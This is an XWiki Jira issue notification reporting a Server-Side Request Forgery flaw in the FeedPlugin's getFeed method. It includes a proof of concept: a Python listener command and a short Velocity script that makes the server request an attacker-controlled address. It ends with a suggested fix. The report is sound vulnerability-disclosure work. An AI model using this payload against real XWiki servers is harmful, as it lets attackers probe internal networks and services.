This issue has been created
 
 
XWiki Platform / cid:jira-generated-image-avatar-12a58fdf-1460-49e4-bc33-5f624cbbeba3 XWIKI-23760 Open

Server-Side Request Forgery (SSRF) in FeedPlugin via Velocity Script

 
View issue   ·   Add comment
 

Issue created

 
cid:jira-generated-image-avatar-e0f4dca0-8c4e-4bb4-8342-d9def1955f89 Łukasz Rybak created this issue on 25/Nov/25 12:37
 
Summary: Server-Side Request Forgery (SSRF) in FeedPlugin via Velocity Script
Issue Type: cid:jira-generated-image-avatar-12a58fdf-1460-49e4-bc33-5f624cbbeba3 Bug
Assignee: Unassigned
Attachments: image-2025-11-25-12-34-40-045.png, image-2025-11-25-12-36-18-767.png, image-2025-11-25-12-36-45-635.png
Created: 25/Nov/25 12:37
Priority: cid:jira-generated-image-static-critical-888d91a1-c955-4b48-bf4e-88d89464291d Critical
Reporter: Łukasz Rybak
Description:

Impact

 

The FeedPlugin is vulnerable to Server-Side Request Forgery (SSRF). The getFeed method accepts an arbitrary URL string and uses it to initiate an HTTP request without validating the destination against an allowlist or blocking internal network ranges.

An attacker with Script Rights can use a Velocity script to force the XWiki server to scan internal network ports or access internal services (e.g., metadata services, localhost databases) that are not exposed to the internet.

Technical Analysis

Vulnerable Component: FeedPlugin (exposed via $xwiki.getPlugin("feed")). Root Cause: The method getFeed(String url) instantiates a connection to the provided URL without sufficient validation.

 

Reproduction Steps & Proof of Concept

 

  1. Attacker Setup: The attacker starts an HTTP server to listen for incoming connections. Command: python3 -m http.server 4444
  1. Exploit Injection: Create or edit a Wiki page using the Wiki Editor (Source mode). Inject the following Velocity payload targeting the attacker's listener:
     
    {{velocity
    #set($feedPlugin = $xwiki.getPlugin("feed"))
    #set($target = "http://172.19.0.1:4444/test-ssrf")
    $feedPlugin.getFeed($target)
    /velocity}}
    44376_image-2025-11-25-12-34-40-045.png
  1. Execution: Save and View the page. This forces the XWiki backend to execute the Velocity script and process the getFeed request.
  1. 44374_image-2025-11-25-12-36-45-635.png

44375_image-2025-11-25-12-36-18-767.png

  1. Observation: The XWiki server (172.21.0.3) initiates an HTTP GET request to the attacker's machine (172.19.0.1).

 

 

 

 

Patches

 

The FeedPlugin should validate the target URL to ensure it does not resolve to internal IP addresses (localhost, private subnets) and strictly limit allowed protocols.